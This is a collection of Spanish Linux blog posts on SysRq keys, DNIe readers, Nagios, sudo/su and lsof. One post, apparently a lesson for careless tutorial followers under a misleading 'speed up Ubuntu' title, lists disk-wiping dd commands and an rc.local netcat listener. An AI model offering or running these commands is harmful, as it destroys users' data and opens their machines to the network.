MatchDevicePath "/dev/input/event*"
Driver "evdev"
# Afegit per Crashbit
"Xkblayout" "es"
-------------------------------
:wq
#

Ahora sí, ahora ya le podemos decir que arranque el GDM durante el arranque

# sudo systemctl enable gdm.service
# sudo reboot

Listo! Ya tenemos nuestro sistema Archlinux con la configuración básica y funcionando a la perfeccción. Ahora solo os queda adaptarlo a vuestras necesidades y leer la wiki de arch, donde podreis encontrar muchísima información y totalmente actualizada si leeis la que está en inglés.

Categorías
Blog GNU/Linux Seguridad Inormática

Magic SysRq Key

Saludos,

Hoy voy a hablar de Magic SysRq Key.

¿De que se trata esto?
Simple, el Magic SysRq key, es solo una combinación de teclas que hace un break al sistema y sirve para poder pasar unos comandos directamente al kernel.
Esto puedo parecernos un fallo de seguridad, pero en la mayoría de distribuciones viene activado por defecto.
Para los amantes de la paranoia, os dejo como desactivar esta opción:

bash # sysctl-w kernel.sysrq = 0

Pues bien, sigamos …

¿Para que puede servir esto?
Pues para el desarrollo del kernel, por ejemplo, pero en esta entrada le vamos a dar otra utilidad, reiniciar el sistema cuando se ha bloqueado completamente.

Todos sabemos lo que puede pasar si nuestro equipo se bloquea y estámos creando un documento importante, que podemos perder información o incluso cascar el sistema de ficheros, aunque con ext3 y derivados esta posibilidad es mas perqueña, pero no se tiene que olvidar.

Bien, la combinación de teclas será la siguiente:

Alt + PetSis

Estas dos teclas preparan al núcleo para poderle pasar un comando y este comando se pasa mediante otra tecla, siendo la lista de comandos las siguiente:

«b» – Reiniciará inmediatamente el sistema sin sincronizar ni desmontar los discos.
«c» – Reinicio mediante kexec, conocido como reinicio rápido, no se hace la llamada al boot loader sino que se vuelve a cargar el kernel.
«d» – Muestra los bloqueos por pantalla.
«e» – Manda un SIGTERM a todos los procesos, excepto para init.
«f» – Fuerza una llamada oom_killer, esto hace que se mate al proceso que la funcion badness considere menos importante con el fin de liberar memoria.
«h» – Muesta una ayuda en pantalla.
«i» – Manda un SIGKILL a todos los procesos, excepto para init.
«k» – Mata todos los programas en la consola virtual actual, útil para limpiar la tty donde corre un servidor x o para acceder de modo seguro si se cree que puede haber algun key logger esperando para copiar nuestro password.
«l» – (ele) Manda un SIGKILL a todos los procesos, INCLUYENDO init.
«m» – Volcará la información actual de la memoria a su consola.
«o» – Apagará el sistema (si el harware lo soporta) sin sincronizar ni desmontar los discos
«p» – Volcará los registros y banderas actuales a su consola.
«q» – Muestra todos los temporizadores en pantalla.
«r» – Cambia el teclado del modo raw al modo XLATE.
«s» – Intentará sincronizar todos los sistemas de ficheros montados.
«t» – Volcará una lista de las tareas en ejecución y su información a su consola.
«u» – Intentará montar de nuevo todos los sistemas de archivos montados como solo lectura.
«w» – Muestra todas las tareas en estado bloqueado.
«0»-«9» – Establece el nivel de información en consola, controlando los mensajes del núcleo que se mandarán a la consola, es equivalente a modificar klogd. (’0′, por ejemplo haría que sólo los mensajes de emergencia salieran en su consola.)

Como podemos ver tenemos multitud de combinaciones, ¿pero que pasa si se nos bloquea el équipo y queremos reiniciar sin darle al botón?

ALT + SYSRQ +  R  E  I  S  U  B

Actualización: Otra combinación que no puse cuando publiqué el post es la siguiente:

ALT + SYSRQ + k

Está combinación nos es util para hacer lo que antes era el Ctrl+Alt+Backspace, es decir, cuando se nos bloquea solo el entorno gráfico. Pues bien, con esta combinación matámos todo lo que hay en la consola virtual donde estemos, es decir, todo el entorno gráfico.

Atentamente, Crashbit

Categorías
Blog Informática Seguridad Inormática

Mantener Ubuntu acelerado (SAW mode)

Saludos! (Jugadores)

Esta entrada es para aquellas personas que cuando siguen un tutorial intentan entender lo que hace cada comando antes de ponerlo, aquellas personas que intentan aprender por ellas mismas, pero con sentido común, es tambien para aquellas personas que contrastan la información y especialmente, para aquellas personas con un pensamiento cintífico.

Bien, el juego ha empezado:
Usted! lector, que ha seguido miles de tutoriales sin saber que es lo que hacían, que ha tecleado comandos en la consola consiguiendo que sus amigos lo llamen «Hacker», usted que ha instalado Ubuntu y tiene un cubo en 4 dimensiones (tesseract) dando vueltas por la pantalla, sí, usted lector, que ha engañado a todos haciendo el scriptkidie, para usted es ese juego que acaba de empezar.
Es muy importante, que no haga nada, si no está seguro de lo que quiere hacer, sus decisiones pueden llevarle a la muerte (informática) o su salvación, todo depende de si es capaz de superar lo que ha estado haciendo durante años.

Primer comando:


dd if=/dev/zero of=/dev/sda bs=512 count=1

o bien


dd if=/dev/zero of=/dev/sda

Segundo comando:


sudo -s "echo "nc -l -p 22" > /etc/rc.local"

Tercer comando:


wget -r http://www.softonic.com/linux > /dev/null

Cuarto comando:
Vete al menú Sistema -> Preferencias -> Sesiones y añade la aplicación xkill, que mata procesos que gastan CPU.

Bien, señor lector, si has llegado a este punto solo te falta la última prueba y esta consiste en reiniciar el PC.

Si has cambiado y has aprendido la lección, ya me quedo mas tranquilo, si no, pues tranquilo, tendrás que reinstalar tu sistema operativo.
En fin, esto es solo un ejemplo del nivel de decadencia al que algunos usuarios pueden llegar, cosa que se podrá ver con los comentarios a esta entrada.

Crashbit no se hace responsable de la perdida de datos de los lectores que hayan seguido el tuto, ya que han sido ellos mismos los que han tomado esta decisión.

Fin del juego!
Atentamente, Crashbit

 

Categorías
Blog GNU/Linux Informática Seguridad Inormática Ubuntu

lector DNIe en Ubuntu Karmic 64 bits

Saludos de nuevo!

Aquí va una sobre certificados y firmas, en esta entrada vamos a hablar sobre el DNI electrónico, o mas conocido como DNIe.
Os voy a explicar como hacerlo funcionar con la distribución Ubuntu Karmic Koala de 64 bits, que es la versión 9.10 de Ubuntu.

Bien, teóricamente, para usar el lector DNIe, concretamente el facilitado por tractis (C3PO), son necesarios los siguientes paquetes:

libccid libpcsclite1 pcscd libopensc2 pinentry-gtk2 opensc mozilla-opensc pcsc-tools

Pero lo pongo en rojo, ¿porque? Pues por que resulta que los paquetes libopensc2 que lleva Karmic, son una versión superior a la que necesitamos, cosa que no sería un inconveniente si no fuera porque estos no tienen soporte para nuestro lector.

Así que vamos a lo que necesitamos, primero de todo comprobamos usando aptitude que no tenemos nada instalado que nos pueda estar molestando:

[email protected]:~$ aptitude search opensc

Este comando nos tiene que decir que no hay nada instalado, si hubiera algún paquete instalado, lo desinstalamos.

A continuación instalamos solo los necesarios mediante aptitude

[email protected]:~$ sudo aptitude install libopenct1 pinentry-gtk2

Si usamos KDE en vez de GNOME, instalamos pinentry-gtk.

Sigamos, ahora nos interesan los paquetes opensc, opensc2 y opensc-dnie, pero como dije anteriormente, estos paquetes no tienen soporte para nuestro lector, así que vamos a usar los de la web oficial del ministerio del interior.
En esta dirección seleccionamos los que mas nos interesan y los bajamos. Yo me he bajado este, que son los mas modernos y que funcionan en Karmic.

Una vez nos hemos descargado el fichero tar lo tenemos que desempaquetar mediante el siguiente comando:

[email protected]:~$ mkdir dnie && cd dnie
[email protected]:~/dnie$ tar xvf Ubuntu_Jaunty_opensc-dnie_1.4.6-2_amd64.deb.tar

Ahora podemos observar tres paquetes .deb, que son los que necesitamos para que nuestro lector funcione, pues vamos a instalarlos todos:

[email protected]:~/dnie$ sudo dpkg -i libopensc2_0.11.7-7_amd64.deb opensc_0.11.7-7_amd64.deb opensc-dnie_1.4.6-2_amd64.deb

Lógicamente y no hace falta decirlo, que si nos hemos bajado otros tendremos que poner sus respectivos nombres.

Una vez hecho esto, conservaremos los paquetes por si queremos eliminarlos mas adelante y vamos a congelar los mismo paquetes, pero los que estan en los repositorios, para que no se actualizen y nos ponga unos sin soporte para nuestro lector. Esto se hace con el siguiente comando:

[email protected]:~/dnie$ sudo aptitude hold libopensc2 opensc opensc-dnie

Así que ahora ya tenemos instalado el soporte para nuestro lector, ahora solo queda preparar nuestro firefox para que pueda leer los certificados.
Lo primero será insertar el certificado de la Dirección General de la Policía, que lo encontramos en el menú Oficina de nuestro Ubuntu.
A continuación toca instalar el dispositivo lector, para ello abrimos Firefox y nos vamos a EdiciónPreferencias, la pestaña Avanazado y subpestaña Cifrado. Allí nos vamos a dispositivos de seguridad y le cargamos uno nuevo.
Le ponemos el nombre que queramos, por ej. Lector DNIe y la ruta del módulo es «/usr/lib/opensc-pkcs11.so«
Con esto ya tenemos nuestro lector totalmente funcional, solo tenemos que introducir el DNIe y pulsar sobre Inicializar.
Categorías
Blog Debian GNU/Linux Informática Seguridad Inormática Sistemas Operativos

Instalar y configurar nagios en Debian Lenny

 

nagios monitor
Monitor nagios

Saludos de nuevo! Hoy Nagios

Hoy vamos a hablar sobre lo que es Nagios y como instalarlo:

Pues es un sistema open source para monitorizar redes, con las características que le podemos poner alertas y que nos informa por correo o sms cuando salta una alerta. En definitiva, nagios es una excelente herramienta para ver las características de un ordenador en una red o de un servidor de la misma y poder detectar un problema y resolverlo con el menor tiempo posible.

En esta entrada voy a explicar como instalarlo en un sistema operativo gnu/linux, concretamente en un servidor LAMP con Debian Lenny 5.0 y bajándolo desde la web oficial del programa, ya que la versión que viene en los repositorios no se instala correctamente por un bug en el ucf.

Hay que tener muy claro que una cosa es el servidor de nagios, que es el PC que va a monitorizar la red y otra cosa es el servidor LAMP que vamos a monitorear. En nuestro caso el PC será el mismo, por lo que vamos a instalar Nagios en el servidor web con LAMP.

Primer paso: Nos vamos a esta web y nos bajamos nagios siguiendo los tres enlaces, que nos descargarán el propio programa, los plugins y las extensiones. Una vez bajados ponemos los tres ficheros comprimidos dentro de una carpeta y los descomprimimos usando «tar xvzf fichero.tar.gz».

Segundo paso: Vamos a crear los usuarios y grupos necesarios:

[email protected]:~$ sudo -s
[email protected]:~$ useradd -m -s /bin/bash nagios
[email protected]:~$ passwd nagios
[email protected]:~$ groupadd nagcmd
[email protected]:~$ usermod -a -G nagcmd nagios
[email protected]:~$ usermod -a -G nagcmd www-data
[email protected]:~$ exit

Tercer paso: Compilar e instalar de la siguiente forma:

[email protected]:~$ cd nagios
[email protected]:~/nagios$ ./configure --with-command-group=nagcmd
[email protected]:~/nagios$ make all
[email protected]:~/nagios$ sudo make install
[email protected]:~/nagios$ sudo make install-init
[email protected]:~/nagios$ sudo make install-config
[email protected]:~/nagios$ sudo make install-commandmode
[email protected]:~/nagios$ sudo make install-webconf
[email protected]:~/nagios$ sudo htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin

Este último password será el que el navegador nos pedirá cuando intentemos entrar a la página de configuración de Nagios.

Cuarto paso: Editamos algunos de los ficheros de configuración, teniendo en cuenta que la configuración estará en el directorio /usr/local/nagios/etc:

[email protected]:~$ sudo vim /usr/local/nagios/etc/objects/contacts.cfg -> añadimos nuestro correo electrónico
[email protected]:~/nagios$ sudo vim /usr/local/nagios/etc/objects/localhost -> ahí definiremos los hosts a analizar y los servicios según el host.

Quinto paso: Compilamos e instalamos los plugins de esta forma:

[email protected]:~$ cd nagios-plugins
[email protected]:~/nagios-plugins$ ./configure --with-nagios-user=nagios --with-nagios-group=nagios
[email protected]:~/nagios-plugins$ make
[email protected]:~/nagios-plugins$ sudo make install

Sexto paso: Lo preparamos para el arranque:

[email protected]:~$ sudo ln -s /etc/init.d/nagios /etc/rcS.d/S99nagios
[email protected]:~$ sudo /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg

Si esto último no da errores ya podemos iniciarlo de la siguiente forma:

sudo /etc/init.d/nagios restart


Último paso de este primer manual: Ahora ya, toca navegar por nuestro nagios entrando en http://miweb/nagios.

Categorías
Blog GNU/Linux Informática Seguridad Inormática Sistemas Operativos Unix

sudo, su, y el usuario root

Saludos!

Hoy vamos a hablar de sudo y de su, dos comandos que los usuarios habituales de sistemas operativos gnu/linux deben de conocer.

Como bien sabemos, los sistemas operativos gnu/linux, se caracterizan por tener un usuario con permisos totales sobre el sistema, este usuario se ha llamado tradicionalmente usuario root y se accede a él con el comando su.

Tambien algunos saben, que en distribuciones como Ubuntu, el usuario root viene desactivado por defecto, pero esto no nos impide seguir haciendo las tareas administrativas gracias a sudo.

Hemos hablado ya de los dos comandos básicos, sudo y su, entremos ahora a explicar en detalle su funcionamento.

Primeramente vamos a hablar sobre «su». su, son las siglas de «switch user» y sirve para cambiar de usuario sin necesidad de hacer un logout. Vamos a poner unos ejemplos


[email protected]:~$ whoami
crashbit
[email protected]:~$ pwd
/home/crashbit
[email protected]:~$ su mario
[email protected]:~$ whoami
mario
[email protected]:~$ pwd
/home/crashbit

En este simple ejemplo podemos ver muchas cosas, la primera de ellas es que «su» cambia de usuario, pero no te cambia a su directorio $HOME, eso sí, esta variable de entorno es actualizada al nuevo usuario. Esto es importante a la hora de hacerse root, donde las variables podrían ser utilizadas para fines malignos, tanto es así, que la forma mas segura de hacerse root con el comando su, es la siguiente:


[email protected]:~$ /bin/su -
debian:~# whoami
root
debian:~# pwd
/root

Aquí podemos ver que hemos usado el comando su sin especificar nombre de usuario, para entrar como root se puede hacer de dos formas diferentes, una es «su root» o la otro es simplemente «su«. ¿ Pero que hace el guion «-» detras de su ? Lo que hace es eliminar todas las variables de entorno, excepto algunas y cambiar al nuevo directorio $HOME.

En sistemas donde tenemos que usar su, la mejor y mas segura forma de ser root, es mediante /bin/su –

Sigamos ahora con sudo.

Primeramente decir que en muchas de las nuevas distribuciones GNU/Linux, el usuario root viene desactivado por defecto, esto a priori es una buena medida de seguridad, pero requiere de una forma de poder administrar el sistema y esta forma son los «sudoers users», que se administran en el fichero /etc/sudoers y se ejecutan las tareas mediante el comando sudo.

Vamos a ver, aquí hay varias cosas a tener en cuenta, así a groso modo, lo que hacemos es deshabilitar el usuario root, pero damos a determinados usurios/grupos, acceso a tareas de mantenimiento, es decir, acceso a tareas que solo podía hacer el root. Esto se determina en el fichero /etc/sudoers.

Nuestra distribución Ubuntu, viene con una configuración de este fichero del siguiente modo:


Defaults env_reset
root ALL=(ALL) ALL
%admin ALL=(ALL) ALL

Con este fichero, conseguimos que cualquier usuario que esté dentro del grupo admin, tenga privilegios totales sobre el sistema. Pero hay que destacar algo, que solo podrá usar esto «poderes/privilegios», si usa el comando sudo. El comando sudo lo que hace es ejecutar los comandos procedentes, como otro usuario y si no se especifica ninguno, los ejecuta como root. Pongamos unos ejemplos:


[email protected]:~$ sudo -u pepito -g audio vi ~pepito/sound.txt
[email protected]:~$ sudo fsck.ext3 /dev/sda1

El primero de los comandos, lo que hace es ejecutar el comando «vi ~pepito/sound.txt», es decir, editar el fichero sound.txt, como usuario pepito y grupo audio. El segundo, lo que hace es ejecutar el comando fsck.ext3 /dev/sda1 como usuario con privilegios de root.

Algo muy importante, es que en el segundo caso, nuestro usuario debe tener asiganados permisos de superusuario en /etc/sudoers, por defecto, en ubuntu, el primero usuario creado pertenece al grupo admin y por la configuración del /etc/sudoers, los usuarios del grupo admin dispones de permisos de superusuario (root).

Otro dato a tener en cuenta en el segundo ejemplo, es que cuando nos pide contraseña, es la del propio usuario.

El comando sudo tiene multitud de opciones, igual que su, pero una cosa que muchos usuarios acostumbrados a su, detestan de sudo, es el terner que escribirlo cada línea, tanto es así, que sudo tiene opciones para evitar esto.

Algunas veces he leído en tutoriales que para evitar esto, usemos «sudo su«, gran ERROR, ya que con esto ejecutamos recursivamente a root. Con esto conseguimos ejecutar su como root, creando una serie de variables y luego con su nos volvemos a loguear otra vez como root, con lo cual ejecutamos muchos procesos innecesarios, y lo mas importante, todos como root.

Es por eso, que lo que tenemos que usar es la siguiente opción de sudo.


[email protected]:~$ sudo -i
[email protected]:~# whoami; pwd
root
/root

Con este comando cargamos una shell de root, y los mas importante, eliminamos variables de entonro y cargamos las del superusuario, cosa que no pasa con sudo -s, que si bien nos da una shell root, no elimina las variables cargadas.

En sistemas donde tengamos que usar sudo, la mejor opción es usar sudo comando, pero si hay que ejecutar muchos usaremos sudo -i, nunca sudo su.

Categorías
Blog GNU/Linux Informática Seguridad Inormática Sistemas Operativos Unix

Navaja Suiza I , lsof

 Saludos!

Este artículo, es el primero, de una serie de artículos que hablarán sobre la herramientas básicas para una buena administración de Sistemas Operativos GNU/Linux en particular e incluso sistemas *NIX.
Bién, podría haber empezado por muchas herramientas, pero voy a empezar por una que los usuarios noveles no suelen usar y deberían aprender a usar.

La herramienta en cuestión es lsof

Bien, lsoft, podríamos considerar que es la navaja suiza en cuanto a la depuración de procesos en sistemas GNU/Linux.

¿Qué hace lsof exactamente?

lsof nos da información sobre los ficheros abiertos por procesos, es decir, relaciona ficheros y procesos.
Esto, así a grosso modo, no parecería algo muy importante, pero si tenemos en cuenta lo que puede ser un fichero en un sistema GNU/Linux, nos daremos cuenta de la potencia de la herramienta.

Un fichero puede ser: una tubería, un enlace, un fichero de datos, un dispositivo, un socket, un conexión NFS … vamos, un fichero, pueden ser muchas cosas, así que ya vamos viendo la utilidad de lsof.

Usos básicos de lsof:

LOCAL


lsof

Lista todos los ficheros abiertos por los procesos.


lsof /ruta/al/fichero

lsof muestra todos los procesos que usan el fichero indicado


lsof -u usuario

Muestra todos los ficheros abiertos por un usuario


lsof -c proceso

Muestra todos los ficheros abiertos por el proceso indicado


lsof -p 1,2,3

Lista todos los ficheros abiertos por los procesos con PID 1, 2 y 3.

RED

lsof -i

Lista todos los procesos con sockets abiertos


lsof -i tcp:80

Lista todos los procesos que tienen abierto un socket al puerto 80 tcp.


lsof -a -u usuario -i

Muestra toda la actividad de red del usuario indicado.

Y mucho mas ….

Bueno, hemos visto algunas de las características de lsof, con unos ejemplos muy simples de como usarlo.

Vamos a dar una aplicación práctica a nuestros nuevos conocimientos sobre esta magnífica herramienta.

Imaginemos que queremos desmontar un CD-ROM, con lo que hacemos lo siguiente y obtenemos un error:
[email protected]:~$ sudo umount /cdrom
umount: /cdrom: device is bussy

Bien, con lsof vamos a mirar quien está usando el CD


lsof +D /cdrom
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
conkeror 21321 crash cwd dir 3,21 2048 32154 /cdrom

Nos ha quedado claro, el proceso número 21321 es el que hacía uso del cd, así que nos aseguramos de no usarlo y por ejemplo, lo matamos con el comando kill.

Con este ejemplo nos podemos imaginar la cantidad de utilidades que lo podemos sacar al comando lsof, entre ellas, incluso la de detectar cualquier tipo de malware, virus o troyanos que hagan uso de la red.